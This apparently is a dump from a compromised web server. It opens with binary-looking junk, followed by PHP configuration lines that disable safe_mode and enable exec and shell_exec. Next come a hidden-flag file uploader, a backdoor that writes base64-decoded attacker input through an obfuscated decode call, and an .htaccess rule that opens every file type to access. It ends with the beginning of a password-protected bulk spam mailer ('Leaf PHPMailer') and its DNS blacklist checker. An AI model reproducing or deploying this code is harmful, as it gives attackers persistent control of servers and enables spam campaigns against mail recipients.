"&nJuiE/K$'}1u5&.2iDojP:ÛĆ8b	OL+zktpmfldrxWFy]y0{P+UX'09NqcxzsbmE!T'+vqݟ֧cXUzktpmfldrxOpx2Ta4 pV;%6+Af@ozktpmfldrx(|w1FaFNJBUՌKUGS[TP0EZ~O.Afhц$Vioj/*̮@] 'C-6#DQ=Q2g}Kf"!/\ĜgVBDbdJ@7Hsb&JqQeL[a JFT{N*-/+o®Lx(Gɩ f3V0w)fxmbnugactDډW#9T5#}-a8*&`(!`0f$e/;S3B#ڇuz7qi/Ⱥv,KCY굾LYWܮd
_[?uإՇ.HBM%;$!Hm{ﶛb[_Ny|XKfxmbnugactF3@a|zktpmfldrx~?4 o.9gs!otf-FbR]8SVd+f-zf,iq\*:vѽQuUVH|9\sM
}4dH#$gбr\֥R:;q&m=Lvps3fxmbnugactߪRpnOӰ*eOzq9( L+飫X
3Gh~Jh~JfxmbnugactlH*kpp"WPfxmbnugact4Xfxmbnugact}(^b^cԌBt`VW7(PTvp(zktpmfldrxބIB^-j,sU9ƌDa)Ɠ8i)bɁqNjR:1W.Se vտMk0/B'+
W}Du:6f!U5Y)/O	SѲďXpӽZM;UXxhK`%ȣ^Ks=ɻ5r'Vp\TvB5`G{,ug'CXߴ#JҀAC,`sץ .ϰo7=\tjI:)/DaG\lO~,Y
PҜZqLo	+]PJrMV*;㏦	S~!g7
YZ"\zǄzd2SZ? u3|s^޺bݬԜ5_pYR;$qzqV%ln{
sjKdfxmbnugact=TsoIS? N1!XH6QjH)ma]R캤~P 55#/o/	s%ѩno=KQȍw(PW䡅'۵&Ԍ8hm JKYUtӂ쒑sb?kR˄"AHYfOn*d$0,~F\vߺ8A;@1iSI?ґNDX|`Gp4APa!梄1wo`;E,a?ߝAʜJ4n~3@r&VoG$P-u1IfxmbnugactSYaܠSUzktpmfldrx$5,ۦV9?'vp4_\7wř$=IE83+Ji$' Y⤔onXVFYo^	-icp[n
,!@VÀ p0|A24nTHȄڪpHBᲜ{8hؤ%56VE%[|1ggYifxmbnugactFmfz=6fxmbnugact]e Dk@jO#MXb44g[|SED[TKn=Fbz17XԼ_(hKȳ	tE_~BJVJr,31 ̪s~
VsuOة)TV.zktpmfldrxGs5hFܣ&RK7??K0e#仕ڴaW?(0O}@e|ҏV⩷؊+E_9wUhF߉T&zktpmfldrxZ'߱y
V;fxmbnugactI]pzktpmfldrxYB.Lh9'KI[YDb?Қ˽sxLq8 K~6^Q1-lA@M]*tiBa)7R=
2iLAȟ&6.쿬xio6Caw
Nho2vU(絎
qcf-WKt u^Cq'Vǵ斥;t[J;1-fxmbnugactLsۙc =ɭtUV[X{]K1*Z3CL|JHlBmwLIfK̥^Z/B-\ļg'ئ]8=tUn$xP#d~T-hVG׻rVI7Z5UV{#:8JDzktpmfldrxiNwF(ԝ7rϼq:
zA_L"ȉzktpmfldrx]057
{rAo=qqyԚށ F=pXBЪ:p
 [(e;^i,R6TT4*7iNq.$.Czktpmfldrx}FfxmbnugactbO窖	fg5&tEB_@5%׏IL7`+|xZ/SQ,\K]a,JdY)Tχg"Τ61fdT(#&n{̕1nՠ![*J__bPەYOkG^Wnϒzktpmfldrx5ןJ+}9#O='W|AF[qT14z
|
YBA~آW(TDNO	ikBQnLYTsBfxmbnugactfu2M4X8YZOMq+}9ϭmW.
qw3AFjgn'!Wl'{~ڠ҆k4=tvRgգ|5SmH,t49ȧ:؁Ijў{~5 %~x۰fxmbnugactXX4Ozktpmfldrx̀C1G,P!tfxmbnugactm 3ÀP}8f6EH\`nrO9	{1I#%5|r+[3In
7:\'׽mYfxmbnugact0=Pu:oEg#91"xx(%JJ^rUF(^Azktpmfldrx?'o4Efxmbnugactw7fZ0h}qh`^A ${-ksx2q4}#J J莇W]XR¨Vozx ="Č"V6֜eps5ˏH/J݇.lewAn7/X
Ǣ;
L`yg:c¨7Qx+OѺD?fxmbnugactcq&-g	
Y:u}w1xˠn?O((`y *[ʾl4%0(p]6xcUmrtZ(I`΀%eށKPcS\8H-yyw_;:"YR &Jm8#{`@xU`XwǑX '
Q)HQck3a#({y!K@㷝j:HL婲z0X3r`D*6
SWfJ=G,gfJݵˉNїn{y_qܿkE7]uĺ4׬fxmbnugact6VSzktpmfldrxNb"iU.`n5ZŅzktpmfldrxx3fxmbnugactR^oۯJ=˚9-
K JHZOA\hPLsGlr;c틴sP|zyXdF_H;a"5@$'[Gd{hjfxmbnugactiȖq9v*ؔSC%Ֆ(zktpmfldrxڲNc"G؋b~Iuj9%|4Hm0g:ڲafgzirTdWK^6?{meEA 4G0KŦ_˩e2V?L=TB8-O Z`ap_MXU #3v%J V.L@&sp
UW@3+**Oē2M`*@!ò݄%#r*Y(}^=zktpmfldrxTEVNKZ9liJb?vvK6Ae6焧rzK
|^5Iefxmbnugact*xG1*)%pN3vwGW	[8
`peߝ XNz.F5u³wnҌNZ*Gf15-`tT_RLrTOzNԺXd2WtHyߙLw(SnV
 Ƀk3	Kc΍;Ss1h)$ĝ[~bs Sϝs뺮BEɅ0r7\py d ֱXm&VeFx`=ۖ)gfLieE^-o d/'ezktpmfldrx2T0O;6L!(p$8kњ\fxmbnugact!l9ܳrtO\yM
`*e,m\ʈxURIӳ2zktpmfldrxfxmbnugact8n{i2
 4=L(wۗzc滌=-3(/#P=i~yCEyڗG^1m%Hӧܩr_҈&^v!wDOQrD3l-:Jr
t8&	jcZ,TT.LΚ
u쟯8Qӵ7wuXzdt _{N!`6S
fxmbnugactpLx-p
Y_h/8/h]!/-w%~+sV˚wzjv&
/
ڏHEȈ\W?#zfySzktpmfldrx_M,g'(C
N;ypHchoiqOcUf*hf;\jektgZ|M#9+''[HZBw|\@ 1"ϩfxmbnugact=5\/fxmbnugact`U,֔aܪ5qfA§:QaϫC&Pm  mὪ]fSbThB_J|"_cIiѸ@+ڀGKBAJgo=xG0w{V=H͒1ZXͷ9pVْW1q
;M8{{fxmbnugact/{P	ʨob4A^(´uL84ufxmbnugact6gТ5rw-;YCSᓓܝ}OQ&IcMe@[nOq	2ݣHԭ$ z@zktpmfldrxJJHS9n/zfTPK^iQ{z)XBVfxmbnugact Wazktpmfldrxěհ)!/Y2%2_aKރ&_
7 gC%\LWّz3$
QU/OUDSA0I?L}ݳǓ[$XFRrMmk̼,C7ʩn]&eb+[=q'/%(C	ίVgvH/^!zOہWeCjőCR on(b^X˦N8ʏ%sP
sqA0"X~g14ˤ;-FHqWH9f1VBU!KDD%MPޠ9=IgF[fxmbnugactg"4gD VzEoZQFĀgwݿ|@X_iN5mX?b&~}Kx!itw-!fxmbnugactLާ:MHv(/"?%[/zktpmfldrxbGTuRBvciNc/64uGUO#qt)W=%ҊSr6GFHOiߤaҳJ' `	h'i8RFQ7K!u4Og.SThզ5f;iҲ=7SM9Qx}0JM6lh?URU8*'\`ǋG,/wj&oJJ@CmG2,_%E\daV,?[;=͸cH,(H}(RЏaR'|_SY,o׺YA
$|cl٦o۽@)N!`BD%=R 3t=PBq^si5DɧCWGjKc:~冘fh[x45GEы8 
lzktpmfldrxLu	G^N{ 7
-DL%ql?0	;=sz m19ݯ͓IKƢZ!Nƶw6=emW勀ܕ&4{
`n}U\R1Vf$Eπt_7thXfxmbnugactF։DYw&1D8fxmbnugacts h܁ڄ+Gon^	/"8y^}}w
uV47s}n09	p@T"j.P1fxmbnugactF%O~#\nzʩQ"x,Ffxmbnugact2e;GsXF/U7qr"Xfxmbnugact}.JyjBbT.([}~MɓY}ZYeHSTsg36aNAY2
[[U2@:V'S͞
V_vJofxmbnugactV.j~3FE{~ !i}gOsg5T?@O-C`bs6+)QIdO.Bgĥ(oᦏ-tfxmbnugacts;2[CArHK8mծH4	 {f3mY%6j%APORo1_1?81Azktpmfldrx.	\a֠```-}zktpmfldrx`R!0Z oBB^B@泒gƧI~=ċ"م`NBq0 #b}־VH|I,
dYsI6Hf!p0`7V
+)2O~GNx'mA5,
OM羁BQ+}JՐrY("Epmv]fxmbnugactѩ_Ɏi1Dm207~CJWyr.,*''Q2cH;9CFumx0me
Dsj)d	pPPꁥ.L54Cb"F׸[0"$DzktpmfldrxXY"+9WnRmޞ+Wd-FzIQX*u7sIcs$lUb+[xGj
W"x\QCcR*jKy{8	Wŏć9_zktpmfldrx4	"*Ȣzktpmfldrxr0`0KrdҪH,KqmH|uhcT?fV4'Q)=a8fcPNzDiTSEJQ"w'zktpmfldrx]27+0KD'OKzGI O7d1Ǆ}ű6@4ٽPkctmY/va."d,o[;Am$!\]x]Fc!mJÔh (o|xE66ށ@jF=7.τO 
cwszktpmfldrx޾hi@y:,dziҌmJYXk܁`ƈ)4ϒ}UhgZ|EzȮm fD[exWܮUoT#Xw\7q*{(
6Tn=N_휹J^[c8ǒuEk8`pO\zktpmfldrxAWwzP"Rw(:I'ci9^#K_"W0F%ur~%ؙ[&;}&0K,	8Aɢ}b(2d
c?!v&/މ5n7XuGZyNuh:͹;"H︭&p	M؝7؈ww'ΩY@ݡ4u"?u$TK'#^{bNUzktpmfldrx-E\3yg7"hrѢ#ukV	|D#34'sr|w76:VQkOL#KӨ6Y{/=X
n
.S9u~O% N;GD+V0h&"̰& h/ Ƿ]	.@VA70C^OF4-"	=qqLtJhxt8V5^=,'ky|xfIhFzktpmfldrx'VEzktpmfldrx~zktpmfldrx
%Xc܎
:M3rQ$n}TLh013gj~Z/ڰV(,dIjgibc0pH$Mfxmbnugactw:v0o
?РȯҺw#ă%fxmbnugact?^)-U
[H7u ŒG+_LQ[7au|U]߳?̿B&VKKDfT U85b f}z-/8(aB.P\z
tto,n7+q10Mwfxmbnugact	'{	_xwWB9Us7'?DfxmbnugactJeyuGfxmbnugactO2P-́;-ûL
?6!mfxmbnugacth*^+ASXs1&xb.kxѬ)_EmrWSLq]JWqȯL:#"ېu}*4$M*ahOw&}`4Y4lAG}6
%El1+%.pnY? QZ66W('lM$*حCpJou
zcizϴqhA̓-mԧԓ«My.i᪍)^SFO%No(5ȪM(fxmbnugact~qf=JqhWbuLbu!}d[Z,93iu't4kC˫mvB/=qnR  "g{44Tm xia}5Gk!ۺO$fxmbnugactZH$kMp\h5OG`XydE{˫p.X꽦\@T|05jң])ƔuVF "-#~Bbs8-?#R#|6^/A~i&(-8Ti
ѷ:9Z^hu-짢9"AO|:
6[k$T]U7rϙL$ᶔ[])ΊˌT	Q[9IC /Yj`%H{\|dE-^R~Wy?rNոhurD*jвBo&	~P-3
bY1mmZOuHFzԲw){f.!b1!:gb#0=P`ݳdkF	~D݆^|	XG~z@r8kσaÍ@/Uzktpmfldrx2{Y񗖁V&fxmbnugacthCt3uX7S}ørWF}
h[E3-X7mhUNR**^!_dK^"W1qK%~-ҹfxmbnugact%ot wQ/]fpA?¥ZZBPO/y0.&)҂ ;( YJn |@]G F!d$kk
vz/-~1$jGOV7_k@}[أ
MPlbQpaDFsVfk"0N}}^n5_ HklX*ɏ̀G
bJo{kgזzw"6ZIV`'y!BFZupE@[kjr/C' zktpmfldrxɥvag塘1s`IAOK:5Uo	GZ7X|!1ohi8dW]zktpmfldrx6afxmbnugactKc/"ӳF$5zTpC?͂I#ޮ${Qư3Cz۞;Aqm4RDҷi
o-FBפ͙_th(tl3qHAס9
[S
糼r@:IV#}kD;7bx} oƪ~wVQ#,!k iLU=1YYZ|ˆ	^a6J-/ e[=]Qzktpmfldrx5$4djUHT0
mKtfxmbnugact&$n,좦?YCj]	楛oN?SSzGW!(	/`u,`|r깖j&N/ڲxU85}wFdsfxmbnugact딆$o}OӞE=Uf1JOAM_S'zktpmfldrx"OJYdNOĵDg#A&kƷ7xXzb\c %w
S6z0ףoΔuo
bשϜxLNi'at]
(vqIwoxqQΜo'&[ GOMzktpmfldrx:fxmbnugactfxmbnugact@z}A7I%
IJ~azktpmfldrxj=Cumlfxmbnugactzktpmfldrxzktpmfldrx5`+7ɛa)6G$zktpmfldrx:0eR+3$37fD"Gfxmbnugact
1A}7Z(`br=uS解u:L'k~.
a04jBK&*2isyVކ,[Y~zE7s^7"t޻H#pƁƢN3/+65:	fxmbnugactItF|WĊ)J1SgυI_Zcb}ʍ'	/K]cQJs!Ix2ˮw:}M*x@3@2Z6&c9
-_Ymp_U2f5 ȣ^+vC5kF=~²k񍥐HR_2wHl\9"K=B=a{T!l':TJriqN
zktpmfldrxdIqKP]J:3K#*r%ωmv NAG+#1$b.aezs҄wաt_8͎ض隲/aB@8\VI2Ix3i4a72mgI=eAh?.UH*=?̚FB 0[M0[zvKMȉQ7ogу,ǗIb﹕ٍ3 ~b[cBsg&\)hJGNPA`&͜I 
M	._sߺCAq+ZiTqHzktpmfldrxěv		4S
?Qz%&`'KHzl_&Oкd	\k,ZK|B
BIfxmbnugactfxmbnugact^
5QŀjnN~?XAQVBTAZ|p1'A6+c;BmzktpmfldrxAu#Fs\!pp!6hH,vWNbKuw9;R;!D9Q5n6^/e {X!$ݲ)Y]Nji/
=Y۰0Z;xÈ@r0wE!X;omvGnp0=XpQ`:7)c#J|z6"l[M } 6oo?'Dqj-"0cWyzktpmfldrxbvۢC2!@QاU~Y'4Sz`CI#.A.iET°kܼ#anidS6KOm2Rd+vV[Pi	P,-!%Hzi]şd{oV%:J
⦊g{ Iy0akO_D=_vi7u`֍6*#wvSuMWH l[{fxmbnugactC{mاc_~RZ;fxmbnugactkA3fxmbnugactj;وh]ҟdMIR3D'̻Z)tQe-Xs_|ɩ
q6tkRĂ"yiGPz}|3܎=t xi흐;sqW	fxmbnugact2ê[tmdEu^ݹc
]f=;aG@Au&T=p[k/{Іn; T|iu;rݷk.yQnioS#dj
&ڵ=^Ht%|]|`:׸3|oimf3Pv]JU|)"zè%i7I;{ʯ.Uqqstc/-Er$Ck+B4ĳ`B:UfxmbnugactpXY-V[ךqJs-
_7c(gAFZz\Tq&Ml:mUSqlBıxgL_СkAu&s{	T&AX`4xGFFUd)eUXqE:*fxmbnugact4{,A=6u`BB6\p"+nKmyꔰ.KW 'zA%s})K`GԳs&m%IB4jtnǲސ9*g±rOtʞR/A䜐 QCuW0馷~O~IAe=LS2$˚c}	zMBK6
~mIxNvzlIDGV`?fzktpmfldrx@s܂E){:wMAX~LPUCzktpmfldrxN^sり~QUVbsZ`=*d0'%P_3(m+BgjNƓ卑na_
Tì?yI/zktpmfldrx*\N!Rm/!=%sKn
U,z4G4 s5EV#1𘋍V[POdljd]-ʛ% XOEVQuXvFd^ꠢHߧjbia$V4zktpmfldrxkj5,
4BfxmbnugactD0D	5ޮ(e4H2̄;SOwZR@ߓPf/-͝8D"'!O`Fa	ePa."#+wTf lm\0eij Jmu)@6M	/d=C@ 617 0\k|1y/+"`SYO|J+$C4¦eS\ق l82 rJCQ)}Uf
|vES|zktpmfldrx^f&M1&3RRN6fͻv!X՗%DrZzktpmfldrxF/s#l,q
;9"[679syvU)u"5a#}r%~zktpmfldrxTm7n8MxT-'%J?u'6B.R7#F
GEfxmbnugactfnY]ABХL=
Meyu[BqGK/ryfxmbnugact
%`zktpmfldrxD#I),5\U:&X7ۮz=;ҖZ(4JDS~A8̮p
~-cAz89tiQIM^eb*VNCn/j\ڃf$âpk׷cU:ZzktpmfldrxVV*YLjG'^.*ґr)5יMI!gmmN^dbAUKaN5~-sFüWLW521aֆT=*ulpi
WȽD7~+Z&gVx8~fxmbnugactYK^^vkGYfxmbnugact{*6\'ifNqSdP?ߖRk 12UdJ3$oIy@
Z[RY$~rCNa);=銬
H/zC 2dƧ;=$0{C3)=2WbS8\ZhB
MǺ$t~:~dkBS)(Lkɣ 9o.|-VCH	հ+^ }Mh~S$9L,h@$ݬHh{fxmbnugactq}.OfcqxB*$i*njbQ
)d/2mA.4;
{zktpmfldrxNo8WlgNz%يѥfZM6SZa0f;5$5RW~R D
T NUzktpmfldrxx +wSGEI]ة,#yWB+ 7c:%k?+1aFcԚH2f8)OQ(a :5`!k	#$5=Lw$Nhthɍ{H؄KQ5uQq#t vʬHK8[ƉbSȄ{	:2 ]QPf}YUllG 6mH4QD-hrCv6Q@IJwh!.Hހ"}rp7؇⫇-I'Lٜt6V9b .ƈ_Q;Tzktpmfldrx0jbtzktpmfldrx(ۜ8IKLglEP@+w !
fUGBOH)L/G#'Za8
pzktpmfldrxΟގ?Pozktpmfldrxj0w"w~U_V~X
`ͤ2TQn:v-:$	U3	qqlpv2Bbex%
9G}J?Hzktpmfldrx2=_'-OzXl!G%c ͺs.+uT63W(?^^6_ /ߴ}\0{?"V~&6u:n\$^8*`CU/($,UOQV-/+OGѱesA:dxފva4-v#BhI;,'Cdw^Rldzktpmfldrxy&[;[ \zFpA/\gW hɕ'_׹. @ ^y'!	rk~=kzRzCIt
Q)*#Y&o-ue~fxmbnugact?Z_Tˁ覞eTOϓ	$[ayR
89lߣHauهE'k3f%adKU:fTTOcԞ
+\~80M	@~
y̮C=$rfxmbnugactZw_a}3C{|u)4*XbS`IG\M[h"T:=A!Fo:Hr@Rfxmbnugactt\ A	rr"Ărޯjx Tb"؍H^{7чKa
9xiTNþϛ݃@1NCI;jzktpmfldrxޏS$I9˲7c
SSNk(c~OE.h	,ZCE!gj
!"H]󹞚^"MkJ/VU%Ac + Gt62b_|geT_fxmbnugactO!ud2o@ֵyYHGw.˷-HIŃ/ 0^"{7{`)CO$//U_p\zktpmfldrx v*Zuo*[+?-b]DB/X(*CHG-faOZdq-6`k\$=XNz&S]Ȓ+Tf,VvcH
z	f*U.0Hh(IgA	5	MKޗD=BGzktpmfldrxNV#ʐۭh@IMFDgvϖ|ضL|v3sukNͨ: ÷ߪpցRB(	D"uG!_E(wݼf5Ȓ@=ίhl?lعZ͟OQ	,c
Ӳ+7]TMZ^E'Wg;޶6@,1wdX|:(Ysy{ViVT#]'j9FWC0$6m*"˟\2B`odݠ3K?mWdMp$W 	VwV.3nV^s!.S׺!vu4y5,?9:0UaV`ȗړ;/qhNӇD/Qv2o5.7
~Jѫ(puax&My;Kfxmbnugact3?di!snb0y Sdn(ZQ9fxmbnugactGb@uaMĶES}G)/k6:i9fc+a0]FD7gfxmbnugactkrKI[zӥ[y$KP鵼-!ȯa)Wt["lTcnȅgWNY^#|;	UFb(/Z#ܭKA*lVd؏Pߖ*$RU,weKήCxOKA:8d~[H#p|
þe.׌	,1bEDhDu@CGfxmbnugactP.7^R"#gr8H\AgifxmbnugactDBIEE
X46	w
v%=܁emMzlfxmbnugact3p`c+|uY Z3eh/T_:
ȎgN"P"[fɚefxmbnugactrrcl[j;sAh.'JŴWRv}O\`8F!\WɺSÚ,̴+TG}A_ќ(]R7"s)_a!-zktpmfldrx~b|&}vZ*H[Vx{_m挀z$fTzGGuŦЅjcgqSWSǯkmw­W%IsjOh@%ߪ/PO᳂10ԓy7-I
J x]S#0
AfP0k#G`N4ΰOEw _#AGm8efei$iXϧt壢5dЬV8hf5gfxmbnugact:5)N|zsH9BŕM')PoҼS̅CW |rvn)-ŉ`y_z:5;?뤽\I!΀2-2m;@ac}CSWV`|kϙL4?'IT0vY~M"ާ4|S)-JG|'c'kڕvEj}YV`qd1ЀwpHH緾'	U.́I]W8WvA`lQb4 Ǡ}r(zktpmfldrx̼aįxyRDnxi΍UeΩq-@sjz4OEyq(ψ̎W{8LPds#9hzktpmfldrx$m%c	8v?37awbK
fxmbnugact %[14,Pvn$h9:DǤk"WWfxmbnugactH5!s3)F RBPC8-ݚւ,gip@k?V	{EūydyGu?PӖթBÄx1^
0?ں \@b2nF*ZDv~5 ~)WJ3dhր`UݶcfREK|=2ZiV0u(ƿz߿|_
H%:%Erek94i![	g ֠p#fxmbnugactr/o9qϸv.;|˜Qi1#cL)EInF;VFzktpmfldrxCRg0$eM.rJIWt348	"fxmbnugactLȇ|zktpmfldrx4|5,.DfM.g/jAH!	~*{(q/]7]EfnIJc:,}u_Oy=4s85
׳ysvxiv^7Nֿrۚ+s|
 izqgG-mIUƲJ۶YO/X2f`	2cߢODZFj 얾:NlhOzktpmfldrx\7YKe~pf:_^b2tzktpmfldrx~9rUMw$=c
GkE'Q񳙆j$g/:nOGo-? $a鳺~֣kp!5ZU㟆̀hfxmbnugact1~Rl/PX_`{ދ d~j-IFaFw7#~Rk_R	e.ImL E{[p
M60CRG٫9gc7YO&k?1*+&VIɋX|Ǎ	y0w#c2ӧz?NHDzktpmfldrxJyw#n*fxmbnugactWh+DlLS=vR*
R.RN*%t5e 6gc|nx%Τ	Ѩu
a
?F8J]O6߭_'nP"ڜ߷u)1K1,JXcG^-N gdiS3:fOJJoWvsքx{oy4
6lJ0i6^EhѝةF~z5);NmN8XOuvUhL$ev.r⅜HpMDnS

0dK\LD$ݐ8.)7ViۚeWxvĲ|\+tJ)2ʝ+嘑zmb{^m	qn(P?in2MxrN !Avzktpmfldrx	.kc6.9wQ˲]Af0F9"jLSfeZu֤91opІ:Jh7NGY,t::wZ4x t6@4J#	g[8s@6J]s4֨y_+iR~k;N,qK@)CzT4S0JUfxmbnugactjECNrE)%AQ
 w԰WE0~0,1UZyAYvzgN_4ߊ
e7`H~pҶ(έeLR nNCVd
N.$}оٺ%)J0h.zktpmfldrxyOp"x& @1I{*fxmbnugactDMmgfxmbnugactSfxmbnugactOK|UTNY;ӵ8͘]ƣ%#w
zktpmfldrxޒ]4%QNghy!/SDUnV)QD# UQO7M@eљzktpmfldrxD&F^}h47"DRV-a^1Ǩ?qaMU#*PcknT0q*D&?6˗Nfg(*]DCzktpmfldrxERW
ł6S]5cuBW[yoZJ~V],@Y5=v@ǌ|أ c٪.xɞtB]B 9Ar˰1%f'C=3Z;J/Rޗ|ZA-jlhWƺ zktpmfldrxu/fxmbnugactLCEVڽYrZeSfxmbnugact`WY.YɵSV!~#llY}[!x'^J?ǟo"c
fxmbnugact_Hg HVS!N ,f?V\]T/*iE/;wMj?;RۡzuǨnfxmbnugactG) bMEwki#Y.nOt5_x#)a/?#x̓fB 뷝ޠ5JN#쪨j]
h7Y9ă_}i HJ5rja`!YAXJj?Q#FMP!rp'9\~/6R1ϲt	}a.A=%7uۨD
}ArEwn4eg (E5d?쀦
_:Pخ@H5kTmfxmbnugacty89t&/z%p&V}(#ϥ=!Y8D+pIB:2,+eHDOۃ!Jkk+~BL'ZO6-^
fxmbnugact/ p$iF
[GGmz03 :6tTB\:mFfxmbnugactgi	G7ol3AoP4yLs$XaI~[vF:_3;dwvN7? 	POW6P*t3`7(sVawGln
afxmbnugact;?o$#|sG?x|ZR+e/"m]=jR=#81298;fd/ݢOF$}ni-N`܅Cܹ6m
t83aF%[rfxmbnugactZjT\xTYgL06C%mUޯvrNQc)厧(9mcuʞ"mQzQAX!=J1~T͜غ	Mc@/ĢY38"puG8L	Xd͑
pFf|j3|ؗj6֗)s(
fxmbnugactTS6n-NɲŊ5~=e)3zktpmfldrx2No!JpP٫hii8C[$ %QI7M܉f~-kR_.'fOZa[(쥙@O$ۓ
\dahz~OfxmbnugactYr#-S^WzeL#qz%qYU;TF-$XZyP98
w-G\IZ9lO|-wsCfxmbnugactK-B9^/o!!/fxmbnugactאȵypsym*/̝xaO/ozp(^;U,fxmbnugact%3-fJeg7W:Ql]	Rf4@v"24Ғ1r%g^HB/Y3ICbr_V'eo9GI1CfxmbnugactIn!-|-zktpmfldrx])uxƟW;4EFpџhR@9 pk'pB}ďh*zktpmfldrx2 ؆0v/j! ;t[nZ!Oy%RwK-/wdڸ%Ifu4*rG&|$8euHlF	`ݸV,E6Q;
o osw/Zp;AKCu$3)[ݭ8|oKfvҕş/#AAa;tC0y3Yzktpmfldrx%;:-SD_|5kИzktpmfldrxЧØ	ҕz&YC_Ἓ1.GDHj9|
"R74*)S
MK_"(όauͷc+m/V]=5ٲ_'(oڋnKZMǫH]N]e`^d1m׫W#5*Ifxmbnugact_% "z=|NϏD?)JsbIXmƊmpG[QK*$\\ۏv zktpmfldrxTYA:;F_ĤrBtP8~ZTZbB

#φ)hSu8W&zaC3k:/sKkn"u[IWFگ	 8W
§!g"`apȠWzktpmfldrxPJ[ճ+hZV'`v[rYe wM,L}#7F$溪DpN qP_n\r/B~TX,Em[%t'ofxmbnugact)SJZ#7
Lά(O&Z{yV/L}吪]flƿj\znin^7ϦVztrdM .p:Ғ\9dCp*}0קHvVzktpmfldrxs4 4zktpmfldrx"IH
3Rᰡڢ;\*9=^#Rik@oOc!ZL*hKϏR/4HJ_b=z;XB
܀*_YXX,s`twiGB98{B}LJF?.[\`F@zktpmfldrxJ3n'ƗS|9Ӏ.ߙL:C .UqAD̊V?v,EY׷LfxmbnugactS# e6zktpmfldrxo
C1K^],ҤYYJcJ .4xgsע2=7y7b*RKX;6P-8|=ޔ{nF"6[ˍN`)JNW:o'yyʶLqU\'JtyNߗ#NO]~& D`tw{m{GPC8RҵԜm#]pI]:)zktpmfldrxY'`	GalsCqegQffxZ{UP@1 tS#d"Rx{.bofxmbnugactyG#K߄B,_FG|3'7Eɻb`!Y_TbBkdR
'zT붙d~/"Ub1aSsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'ba'.'se6'.'4'.'_d'.'ecode'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "k39e81azQhJ";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
